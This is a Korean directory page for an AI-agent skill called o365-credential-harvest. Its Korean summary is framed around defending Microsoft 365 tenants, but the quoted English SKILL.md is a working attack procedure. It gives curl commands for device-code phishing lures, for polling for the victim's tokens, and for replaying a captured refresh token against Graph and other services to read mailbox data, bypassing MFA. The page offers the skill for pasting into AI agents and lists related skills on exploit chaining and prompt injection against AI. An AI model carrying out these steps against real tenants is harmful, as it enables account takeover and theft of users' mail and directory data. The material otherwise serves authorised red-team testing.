o365-credential-harvest
하는 일
이 가이드는 공격자가 가짜 비밀번호 페이지 없이 토큰을 얻기 위해 쓰는 Microsoft 365와 Entra ID의 로그인 패턴을 설명합니다. Microsoft 테넌트를 보호하는 ID 및 보안 팀을 위한 것입니다.
사용하는 경우
- ✓필요하지 않은 사용자에게 장치 코드 로그인이 허용되어 있는지 ID 팀이 확인하려는 경우.
- ✓팀이 비정상적인 토큰 사용이나 새 기기 로그인에 대한 경고를 원할 때.
- ✓허가된 테스트가 토큰 탈취를 어떻게 탐지할지 확인하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“앱이 동작하지 않게 되지 않도록 하면서, Microsoft 365에서 대부분의 사용자에 대한 장치 코드 로그인을 차단할 수 있을까요? 설정을 점검해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 로그인과 조건부 액세스 설정을 검토하고, 장치 코드 흐름이 허용된 곳을 나열한 뒤, 오용을 차단하거나 탐지할 정책과 경고를 제안합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
O365 / Entra Credential & Token Harvest
Two Microsoft-identity initial-access paths that avoid a fake password page: the device-code flow and token replay. Both are favored because the victim authenticates on the genuine Microsoft endpoint.
Device-code flow
The attacker requests a device code; the victim is social-engineered
to enter it at the real microsoft.com/devicelogin. After they
complete sign-in (MFA included), the attacker polls and receives
access + refresh tokens.
TENANT=common
CLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c # Office client id (example)
# 1. request a device code
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/devicecode \
-d "client_id=$CLIENT&scope=https://graph.microsoft.com/.default offline_access" | tee dc.json
# -> user_code + verification_uri go into the lure ("enter this code at ...")
# 2. poll for the token after the victim signs in
DC=$(jq -r .device_code dc.json)
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC"
Token replay (TokenTactics pattern)
A refresh token captured here (or via evilginx2-proxy) is exchanged
for access tokens against Graph, Outlook, SharePoint, Teams — each a
distinct resource scope — without re-auth.
RT=<captured-refresh-token>
curl -s https://login.microsoftonline.com/common/oauth2/v2.0/token \
-d "grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https://graph.microsoft.com/.default"
# use the returned access_token: Authorization: Bearer <token> against graph.microsoft.com
Validate
A token is interesting; a Graph call returning the victim's mailbox /
directory data is the finding:
curl -s -H "Authorization: Bearer $AT" https://graph.microsoft.com/v1.0/me.
Evidence
Tokens → Credential nodes (type oauth-token, with scope + expiry)
linked to the User node. Store ONLY under evidence/phisher/ + the
knowledge graph.
RoE / OPSEC
- Device-code lures still require the
lure-deconflictionhandshake. - Refresh tokens are long-lived — record the expiry and treat them as the most sensitive artifact in the engagement.
- NEVER read more mailbox/Graph data than the objective requires;
abide by
plan/roe.json:data_handling.
자주 묻는 질문
장치 코드 로그인이란 무엇인가요?
키보드가 없는 장치를 위한 로그인 방식인데, 공격자가 사용자를 속여 코드를 입력하게 하는 데 악용될 수 있습니다.
토큰 리플레이란 무엇인가요?
다시 로그인하지 않고 탈취한 토큰을 다른 Microsoft 서비스에 재사용하는 것입니다.
무엇을 감시해야 하나요?
비정상적인 로그인 출처, 새 기기에서의 토큰 사용, 예상하지 않은 장치 코드 로그인입니다.
상세 정보
작성자의 원본 설명
Harvest and replay O365 / Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14121
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.